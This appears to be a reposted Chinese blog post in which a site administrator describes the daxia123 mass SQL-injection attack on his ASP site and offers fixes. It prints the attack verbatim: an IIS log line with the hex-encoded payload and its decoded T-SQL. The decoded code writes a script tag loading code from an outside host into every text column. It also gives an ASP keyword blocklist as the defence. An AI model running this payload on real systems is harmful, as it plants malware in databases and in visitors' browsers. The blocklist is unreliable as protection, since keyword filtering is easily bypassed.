数据库被注入daxia123原因及解决办法
近期,我管理的一個網站頻繁被注入木馬代碼<script src=http://cn.daxia123.cn/cn.js></script>,在百度搜索這段代碼,竟然可以搜到2萬多的網站被注入了。這里希望大家能夠幫忙人肉搜索出這個域名的所有者,進而找到那個壞蛋,揪出來痛打一頓。
查看IIS日志發現如下信息:
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->2009-01-0101:27:35W3SVC599379226*.*.*.*GETreads.aspmsgid=2068%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747
970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'='80-211.200.141.151Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)http://**20000
網上搜到211.200.141.151來自韓國首爾,估計是代理的,網上有兄弟把這段代碼還原如下:
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->DECLARE@TVARCHAR(255),@CVARCHAR(255)
DECLARETable_CursorCURSORFOR
SELECTa.name,b.nameFROMsysobjectsa,syscolumnsb
WHEREa.id=b.idANDa.xtype='u'AND(b.xtype=99ORb.xtype=35ORb.xtype=231ORb.xtype=167)
OPENTable_Cursor
FETCHNEXTFROMTable_CursorINTO@T,@C
WHILE(@@FETCH_STATUS=0)BEGINEXEC('UPDATE['+@T+']SET['+@C+']=RTRIM
(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=http://cn.daxia123.cn/cn.js></script>''')
FETCHNEXTFROMTable_CursorINTO@T,@CEND
CLOSETable_CursorDEALLOCATETable_Cursor
那斷代碼雖然被編碼過,但是還是可以看到有declare,exec,等SQL關鍵字,因此用通常的防注代碼應該是有效的
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
--><%
dimsql_injdata
SQL_injdata="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj=split(SQL_Injdata,"|")
IfRequest.QueryString<>""Then
ForEachSQL_GetInRequest.QueryString
ForSQL_Data=0ToUbound(SQL_inj)
ifinstr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0Then
Response.Write"<ScriptLanguage=javascript>history.back(-1);</Script>"
Response.end
endif
next
Next
EndIf
IfRequest.Form<>""Then
ForEachSql_PostInRequest.Form
ForSQL_Data=0ToUbound(SQL_inj)
ifinstr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0Then
Response.Write"<ScriptLanguage=javascript>history.back(-1);</Script>"
Response.end
endif
next
next
endif
%>
如果還不行的話,有種更簡單的方法就是從那段被編碼的語句中截取一段作為被過濾的字符集之一,例如:
<!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->SQL_injdata="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|0x4445434C415245204054205641524348415228323535292C404320564152434841522832"
還有一種方法是,設置從網址獲取的參數的長度來判斷是否是注入,因為一般的網站參數都不會那么長。
推薦博文
Web 前端工程師和設計師必讀精華文章推薦
酷!15個精美的 HTML5 單頁網站作品欣賞
炫!35個讓人驚訝的 CSS3 動畫效果演示
贊!30個與眾不同的優秀視差滾動效果網站
靚?!25個優秀的國外單頁網站設計作品欣賞
帥!8個驚艷的 HTML5 和 JavaScript 特效
頂!35個很漂亮的國外 Flash 網站作品欣賞
哇!34個漂亮網站和應用程序后臺管理界面
本博客新站點 ◆ 前端里 ◆ 歡迎圍觀:)
作者:山邊小溪
主站:yyyweb.com 記住啦:)
歡迎任何形式的轉載,但請務必注明出處。
總結
以上是生活随笔為你收集整理的数据库被注入daxia123原因及解决办法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java写soap客户端_Java:简单
- 下一篇: 各大科技公司上万人研究 AI,但他们仍然